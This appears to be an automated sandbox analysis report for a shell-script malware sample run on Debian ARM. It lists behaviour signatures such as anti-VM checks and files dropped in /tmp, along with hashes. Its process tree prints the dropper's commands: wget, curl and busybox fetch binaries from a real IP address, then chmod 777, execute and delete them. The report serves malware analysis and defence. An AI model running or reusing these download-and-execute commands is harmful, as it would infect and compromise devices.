Overview

overview

7

Static

static

1

e01ca4bcf0...ce5.sh

ubuntu-18.04-amd64

7

e01ca4bcf0...ce5.sh

debian-9-armhf

7

e01ca4bcf0...ce5.sh

debian-9-mips

7

e01ca4bcf0...ce5.sh

debian-9-mipsel

7

Analysis

  • max time kernel
    2s
  • max time network
    3s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240418-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240418-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/11/2024, 03:54

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Report Analysis Logs

General

  • Target
    e01ca4bcf01395c4b15fe80c6641b57ebe233586b7c186e8901bc6bdc1082ce5.sh
  • Size 10KB
  • Sample241109-egldcaxbna
  • SHA256 e01ca4bcf01395c4b15fe80c6641b57ebe233586b7c186e8901bc6bdc1082ce5
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10
antivmdefense_evasiondiscovery

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 1 IoCs
  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e01ca4bcf01395c4b15fe80c6641b57ebe233586b7c186e8901bc6bdc1082ce5.sh
    /tmp/e01ca4bcf01395c4b15fe80c6641b57ebe233586b7c186e8901bc6bdc1082ce5.sh
    1⤵
      PID:647
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:649
        • /usr/bin/wget
          wget http://87.120.84.230/bins/DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
          2⤵
            PID:651
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:677
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
            2⤵
              PID:679
            • /bin/chmod
              chmod 777 DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
              2⤵
              • File and Directory Permissions Modification
              PID:680
            • /tmp/DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
              ./DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
              2⤵
              • Executes dropped EXE
              PID:681
            • /bin/rm
              rm DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
              2⤵
                PID:682
              • /usr/bin/wget
                wget http://87.120.84.230/bins/cMdWqwUSqyYFXTGPvO7YDvRfmmNdbzLBFS
                2⤵
                  PID:683

              Network

                    MITRE ATT&CK Enterprise v15

                    Replay Monitor

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                    Downloads

                    DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
                    • Path /tmp/DEdGB0bkb1Sug4D6lWiqYkVA4xTSOfqyoK
                    • Size 153B
                    • SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
                    • MD5 SHA1 SHA512
                    Submit Download